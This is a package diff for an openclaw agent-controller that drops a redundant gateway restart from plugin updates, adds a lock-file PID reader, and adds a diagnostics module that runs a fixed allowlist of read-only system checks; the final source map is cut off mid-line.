+{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EACL,kBAAkB,EAClB,iBAAiB,GAElB,MAAM,6BAA6B,CAAC;AAErC,MAAM,CAAC,KAAK,UAAU,oBAAoB,CAAC,OAAqB;IAC9D,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,QAMpB,CAAC;IAEd,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAChC,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAChC,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAEhC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAC7D,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,iBAAiB;YACvB,OAAO,EAAE,IAAI;YACb,IAAI,EAAE,EAAE,SAAS,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,EAAE,MAAM,EAAE,EAAE,EAAE;SAC/D,CAAC;IACJ,CAAC;IAED,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;QACjC,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;QACjC,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;KAClC,CAAC,CAAC;IAEH,MAAM,SAAS,GAAoD,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC;IACjG,MAAM,MAAM,GAA2C,EAAE,CAAC;IAC1D,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,kBAAkB,CAAC;IAEjD,KAAK,UAAU,UAAU,CAAC,GAAW,EAAE,OAAuB;QAC5D,MAAM,SAAS,GAAG,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QACxC,IAAI,SAAS,IAAI,CAAC,EAAE,CAAC;YACnB,MAAM,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,0BAA0B,EAAE,CAAC,CAAC;YAC9D,OAAO;QACT,CAAC;QACD,MAAM,MAAM,GAAG,MAAM,iBAAiB,CAAC,OAAO,EAAE,GAAG,EAAE,SAAS,CAAC,CAAC;QAChE,IAAI,MAAM,CAAC,EAAE,EAAE,CAAC;YACd,SAAS,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAC/B,CAAC;aAAM,CAAC;YACN,MAAM,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,CAAC,KAAK,IAAI,eAAe,EAAE,CAAC,CAAC;QACrE,CAAC;IACH,CAAC;IAED,oFAAoF;IACpF,KAAK,MAAM,GAAG,IAAI,GAAG,EAAE,CAAC;QACtB,MAAM,UAAU,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;IAC/B,CAAC;IACD,kFAAkF;IAClF,MAAM,OAAO,CAAC,GAAG,CACf,GAAG,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,EAAE,EAAE;QACpB,YAAY,EAAE,IAAI,CAAC,sBAAsB,EAAE,MAAM,EAAE,kBAAkB,GAAG,EAAE,EAAE;YAC1E,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,OAAO,EAAE,KAAK;YACd,OAAO,EAAE,GAAG;SACb,CAAC,CAAC;QACH,MAAM,UAAU,GAAG,MAAM,CAAC,MAAM,CAAC;QACjC,MAAM,UAAU,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;QAC7B,IAAI,MAAM,CAAC,MAAM,GAAG,UAAU,EAAE,CAAC;YAC/B,YAAY,EAAE,IAAI,CAChB,sBAAsB,EACtB,OAAO,EACP,QAAQ,GAAG,YAAY,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,EAAE,KAAK,EAAE,EACzD;gBACE,SAAS,EAAE,OAAO,CAAC,EAAE;gBACrB,OAAO,EAAE,KAAK;gBACd,OAAO,EAAE,GAAG;aACb,CACF,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CACH,CAAC;IACF,MAAM,OAAO,CAAC,GAAG,CACf,GAAG,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,EAAE,EAAE;QACpB,YAAY,EAAE,IAAI,CAAC,sBAAsB,EAAE,MAAM,EAAE,eAAe,GAAG,EAAE,EAAE;YACvE,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,OAAO,EAAE,KAAK;YACd,OAAO,EAAE,GAAG;SACb,CAAC,CAAC;QACH,MAAM,UAAU,GAAG,MAAM,CAAC,MAAM,CAAC;QACjC,MAAM,UAAU,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;QAC7B,IAAI,MAAM,CAAC,MAAM,GAAG,UAAU,EAAE,CAAC;YAC/B,YAAY,EAAE,IAAI,CAChB,sBAAsB,EACtB,OAAO,EACP,QAAQ,GAAG,YAAY,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,EAAE,KAAK,EAAE,EACzD;gBACE,SAAS,EAAE,OAAO,CAAC,EAAE;gBACrB,OAAO,EAAE,KAAK;gBACd,OAAO,EAAE,GAAG;aACb,CACF,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CACH,CAAC;IAEF,YAAY,EAAE,IAAI,CAChB,iBAAiB,EACjB,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,EAC/B,uBAAuB,SAAS,CAAC,GAAG,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,MAAM,aAAa,MAAM,CAAC,MAAM,EAAE,EACrH,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,CAAC,MAAM,EAAE,CACzC,CAAC;IAEF,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,iBAAiB;QACvB,OAAO,EAAE,MAAM,CAAC,MAAM,KAAK,CAAC;QAC5B,IAAI,EAAE,EAAE,SAAS,EAAE,MAAM,EAAE;KAC5B,CAAC;AACJ,CAAC"}

package/dist/handlers/plugin-update.d.ts

@@ -7,8 +7,12 @@ import type { AgentCommand, AgentResponse } from '../types.js';
  *   1. Validate payload (return success:false on bad input — never throw).
  *   2. installPlugin(id, version). The helper skip-fast when the requested
  *      version is already installed.
- *   3. If an install actually ran, restartGateway(). Restart failures are
- *      logged at warn level but do NOT flip the response to failure — the
- *      install succeeded; restart is best-effort.
+ *
+ * NOTE — no explicit gateway restart. Plugin install writes the new
+ * `plugins.installs.<id>.{spec,version,resolvedVersion,...}` keys into
+ * the openclaw config; openclaw watches the config file and reloads
+ * itself when those keys change (deferring until in-flight task runs
+ * complete). Calling restartGateway() here would be redundant and, in
+ * the worst case, race openclaw's own reload.
  */
 export declare function handlePluginUpdate(cmd: AgentCommand): Promise<AgentResponse>;

package/dist/handlers/plugin-update.js

@@ -1,7 +1,6 @@
 import { logCollector } from '../connection.js';
 import { toErrorMessage } from '../utils/response.js';
 import { installPlugin } from '../utils/openclaw-ops.js';
-import { restartGateway } from '../utils/gateway-restart.js';
 /**
  * Single-plugin update handler.
  *   payload: { id: string, version: string }
@@ -10,9 +9,13 @@ import { restartGateway } from '../utils/gateway-restart.js';
  *   1. Validate payload (return success:false on bad input — never throw).
  *   2. installPlugin(id, version). The helper skip-fast when the requested
  *      version is already installed.
- *   3. If an install actually ran, restartGateway(). Restart failures are
- *      logged at warn level but do NOT flip the response to failure — the
- *      install succeeded; restart is best-effort.
+ *
+ * NOTE — no explicit gateway restart. Plugin install writes the new
+ * `plugins.installs.<id>.{spec,version,resolvedVersion,...}` keys into
+ * the openclaw config; openclaw watches the config file and reloads
+ * itself when those keys change (deferring until in-flight task runs
+ * complete). Calling restartGateway() here would be redundant and, in
+ * the worst case, race openclaw's own reload.
  */
 export async function handlePluginUpdate(cmd) {
     const startMs = Date.now();
@@ -45,7 +48,7 @@ export async function handlePluginUpdate(cmd) {
                 id: cmd.id,
                 type: cmd.type,
                 success: true,
-                data: { id, version, installed: false, restarted: false },
+                data: { id, version, installed: false },
             };
         }
         logCollector?.push('plugin_update_installed', 'info', `Plugin installed`, {
@@ -53,19 +56,6 @@ export async function handlePluginUpdate(cmd) {
             id,
             version,
         });
-        let restarted = false;
-        try {
-            await restartGateway();
-            restarted = true;
-        }
-        catch (err) {
-            logCollector?.push('plugin_update_restart_failed', 'warn', `Gateway restart failed after plugin install`, {
-                commandId: cmd.id,
-                id,
-                version,
-                error: toErrorMessage(err),
-            });
-        }
         return {
             id: cmd.id,
             type: cmd.type,
@@ -74,7 +64,6 @@ export async function handlePluginUpdate(cmd) {
                 id,
                 version,
                 installed: true,
-                restarted,
                 durationMs: Date.now() - startMs,
             },
         };

package/dist/handlers/plugin-update.js.map

@@ -1 +1 @@
-{"version":3,"file":"plugin-update.js","sourceRoot":"","sources":["../../src/handlers/plugin-update.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"plugin-update.js","sourceRoot":"","sources":["../../src/handlers/plugin-update.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;AAEzD;;;;;;;;;;;;;;;GAeG;AACH,MAAM,CAAC,KAAK,UAAU,kBAAkB,CAAC,GAAiB;IACxD,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,MAAM,OAAO,GAAG,CAAC,GAAG,CAAC,OAAO,IAAI,EAAE,CAAwC,CAAC;IAC3E,MAAM,EAAE,GAAG,OAAO,OAAO,CAAC,EAAE,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,EAAE,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;IACnE,MAAM,OAAO,GAAG,OAAO,OAAO,CAAC,OAAO,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;IAElF,YAAY,EAAE,IAAI,CAAC,wBAAwB,EAAE,MAAM,EAAE,yBAAyB,EAAE;QAC9E,SAAS,EAAE,GAAG,CAAC,EAAE;QACjB,EAAE;QACF,OAAO;KACR,CAAC,CAAC;IAEH,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO,EAAE,CAAC;QACpB,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,6DAA6D;SACrE,CAAC;IACJ,CAAC;IAED,IAAI,CAAC;QACH,MAAM,SAAS,GAAG,MAAM,aAAa,CAAC,EAAE,EAAE,OAAO,CAAC,CAAC;QACnD,IAAI,CAAC,SAAS,EAAE,CAAC;YACf,YAAY,EAAE,IAAI,CAAC,uBAAuB,EAAE,MAAM,EAAE,qCAAqC,EAAE;gBACzF,SAAS,EAAE,GAAG,CAAC,EAAE;gBACjB,EAAE;gBACF,OAAO;gBACP,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;aACjC,CAAC,CAAC;YACH,OAAO;gBACL,EAAE,EAAE,GAAG,CAAC,EAAE;gBACV,IAAI,EAAE,GAAG,CAAC,IAAI;gBACd,OAAO,EAAE,IAAI;gBACb,IAAI,EAAE,EAAE,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE;aACxC,CAAC;QACJ,CAAC;QAED,YAAY,EAAE,IAAI,CAAC,yBAAyB,EAAE,MAAM,EAAE,kBAAkB,EAAE;YACxE,SAAS,EAAE,GAAG,CAAC,EAAE;YACjB,EAAE;YACF,OAAO;SACR,CAAC,CAAC;QAEH,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,IAAI;YACb,IAAI,EAAE;gBACJ,EAAE;gBACF,OAAO;gBACP,SAAS,EAAE,IAAI;gBACf,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;aACjC;SACF,CAAC;IACJ,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO;YACL,EAAE,EAAE,GAAG,CAAC,EAAE;YACV,IAAI,EAAE,GAAG,CAAC,IAAI;YACd,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC;SAC3B,CAAC;IACJ,CAAC;AACH,CAAC"}

package/dist/lockfile.d.ts

@@ -4,3 +4,9 @@ export declare function createLockFile(): void;
 export declare function removeLockFile(): void;
 /** Check if lock file exists */
 export declare function isLockFilePresent(): boolean;
+/**
+ * Read the PID stored in the lock file. Returns `null` if the lock file is
+ * missing, unreadable, or doesn't contain a valid positive integer. Used by
+ * the `stop` CLI to signal the running agent-controller daemon.
+ */
+export declare function readLockFilePid(): number | null;

package/dist/lockfile.js

@@ -39,4 +39,21 @@ export function removeLockFile() {
 export function isLockFilePresent() {
     return fs.existsSync(getLockPath());
 }
+/**
+ * Read the PID stored in the lock file. Returns `null` if the lock file is
+ * missing, unreadable, or doesn't contain a valid positive integer. Used by
+ * the `stop` CLI to signal the running agent-controller daemon.
+ */
+export function readLockFilePid() {
+    try {
+        const raw = fs.readFileSync(getLockPath(), 'utf8').trim();
+        const pid = Number.parseInt(raw, 10);
+        if (!Number.isFinite(pid) || pid <= 0)
+            return null;
+        return pid;
+    }
+    catch {
+        return null;
+    }
+}
 //# sourceMappingURL=lockfile.js.map

package/dist/lockfile.js.map

@@ -1 +1 @@
-{"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC"}
+{"version":3,"file":"lockfile.js","sourceRoot":"","sources":["../src/lockfile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AAEzB,MAAM,SAAS,GAAG,uBAAuB,CAAC;AAE1C,SAAS,UAAU;IACjB,+CAA+C;IAC/C,2CAA2C;IAC3C,IAAI,EAAE,CAAC,UAAU,CAAC,sCAAsC,CAAC,EAAE,CAAC;QAC1D,OAAO,sCAAsC,CAAC;IAChD,CAAC;IACD,OAAO,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,WAAW,EAAE,kBAAkB,CAAC,CAAC;AAClE,CAAC;AAED,SAAS,WAAW;IAClB,OAAO,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,EAAE,SAAS,CAAC,CAAC;AAC5C,CAAC;AAED,kCAAkC;AAClC,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACtE,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,oCAAoC,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;IAChG,CAAC;AACH,CAAC;AAED,4DAA4D;AAC5D,MAAM,UAAU,cAAc;IAC5B,IAAI,CAAC;QACH,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;QAC7B,OAAO,CAAC,GAAG,CAAC,6BAA6B,WAAW,EAAE,EAAE,CAAC,CAAC;IAC5D,CAAC;IAAC,MAAM,CAAC;QACP,8BAA8B;IAChC,CAAC;AACH,CAAC;AAED,gCAAgC;AAChC,MAAM,UAAU,iBAAiB;IAC/B,OAAO,EAAE,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAAC;AACtC,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe;IAC7B,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,EAAE,CAAC,YAAY,CAAC,WAAW,EAAE,EAAE,MAAM,CAAC,CAAC,IAAI,EAAE,CAAC;QAC1D,MAAM,GAAG,GAAG,MAAM,CAAC,QAAQ,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrC,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,GAAG,CAAC,IAAI,GAAG,IAAI,CAAC;YAAE,OAAO,IAAI,CAAC;QACnD,OAAO,GAAG,CAAC;IACb,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC"}

package/dist/utils/diagnostics.d.ts

@@ -0,0 +1,20 @@
+export declare const ALLOWED_CHECKS: Record<string, string>;
+export interface CheckResult {
+    stdout: string;
+    stderr: string;
+    success: boolean;
+    error?: string;
+}
+export interface UnknownCheck {
+    error: string;
+}
+export type DiagnosticsResult = Record<string, CheckResult | UnknownCheck>;
+export declare function isKnownCheck(key: string): boolean;
+/**
+ * Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
+ * unknown keys are recorded as `{ error: 'Unknown check' }` rather than
+ * throwing — the WS handler and CLI both surface that to the caller.
+ *
+ * Pass `undefined` (or no argument) to run every allowlisted check.
+ */
+export declare function runDiagnostics(checks?: string[]): Promise<DiagnosticsResult>;

package/dist/utils/diagnostics.js

@@ -0,0 +1,55 @@
+import { exec } from 'node:child_process';
+// ---------------------------------------------------------------------------
+// Shared diagnostics module — used by:
+//   - src/handlers/diagnostics.ts  (WS handler)
+//   - src/commands/diagnostics-cli.ts (CLI)
+//
+// Allowlist of diagnostic checks. Adding a new key here exposes it both via
+// WS and via the CLI automatically.
+// ---------------------------------------------------------------------------
+const DIAGNOSTICS_TIMEOUT_MS = 10_000;
+export const ALLOWED_CHECKS = {
+    disk_usage: 'df -h',
+    memory_info: 'free -m || vm_stat',
+    uptime: 'uptime',
+    gateway_status: 'openclaw gateway status --json',
+    node_version: 'node --version',
+    controller_version: 'npm list -g @openclaw-cloud/agent-controller --depth=0',
+    processes: 'ps aux --sort=-rss | head -20',
+};
+export function isKnownCheck(key) {
+    return Object.prototype.hasOwnProperty.call(ALLOWED_CHECKS, key);
+}
+function runCheck(cmd) {
+    return new Promise((resolve) => {
+        exec(cmd, { timeout: DIAGNOSTICS_TIMEOUT_MS }, (error, stdout, stderr) => {
+            resolve({
+                stdout: stdout.toString(),
+                stderr: stderr.toString(),
+                success: !error,
+                ...(error ? { error: error.message } : {}),
+            });
+        });
+    });
+}
+/**
+ * Run one or more diagnostic checks. Each key is looked up in ALLOWED_CHECKS;
+ * unknown keys are recorded as `{ error: 'Unknown check' }` rather than
+ * throwing — the WS handler and CLI both surface that to the caller.
+ *
+ * Pass `undefined` (or no argument) to run every allowlisted check.
+ */
+export async function runDiagnostics(checks) {
+    const targets = checks && checks.length > 0 ? checks : Object.keys(ALLOWED_CHECKS);
+    const results = {};
+    for (const key of targets) {
+        const cmd = ALLOWED_CHECKS[key];
+        if (!cmd) {
+            results[key] = { error: 'Unknown check' };
+            continue;
+        }
+        results[key] = await runCheck(cmd);
+    }
+    return results;
+}
+//# sourceMappingURL=diagnostics.js.map

package/dist/utils/diagnostics.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/utils/diagnostics.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,8EAA8E;AAC9E,uCAAuC;AACvC,gDAAgD;AAChD,4CAA4C;AAC5C,EAAE;AACF,4EAA4E;AAC5E,oCAAoC;AACpC,8EAA8E;AAE9E,MAAM,sBAAsB,GAAG,MAAM,CAAC;AAEtC,MAAM,CAAC,MAAM,cAAc,GAA2B;IACpD,UAAU,EAAE,OAAO;IACnB,WAAW,EAAE,oBAAoB;IACjC,MAAM,EAAE,QAAQ;IAChB,cAAc,EAAE,gCAAgC;IAChD,YAAY,EAAE,gBAAgB;IAC9B,kBAAkB,EAAE,wDAAwD;IAC5E,SAAS,EAAE,+BAA+B;CAC3C,CAAC;AAeF,MAAM,UAAU,YAAY,CAAC,GAAW;IACtC,OAAO,MAAM,CAAC,SAAS,CAAC,cAAc,CAAC,IAAI,CAAC,cAAc,EAAE,GAAG,CAAC,CAAC;AACnE,CAAC;AAED,SAAS,QAAQ,CAAC,GAAW;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE;QAC7B,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,sBAAsB,EAAE,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,EAAE;YACvE,OAAO,CAAC;gBACN,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,OAAO,EAAE,CAAC,KAAK;gBACf,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;aAC3C,CAAC,CAAC;QACL,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED;;;;;;GAMG;AACH,MAAM,CAAC,KAAK,UAAU,cAAc,CAAC,MAAiB;IACpD,MAAM,OAAO,GAAG,MAAM,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC;IACnF,MAAM,OAAO,GAAsB,EAAE,CAAC;IACtC,KAAK,MAAM,GAAG,IAAI,OAAO,EAAE,CAAC;QAC1B,MAA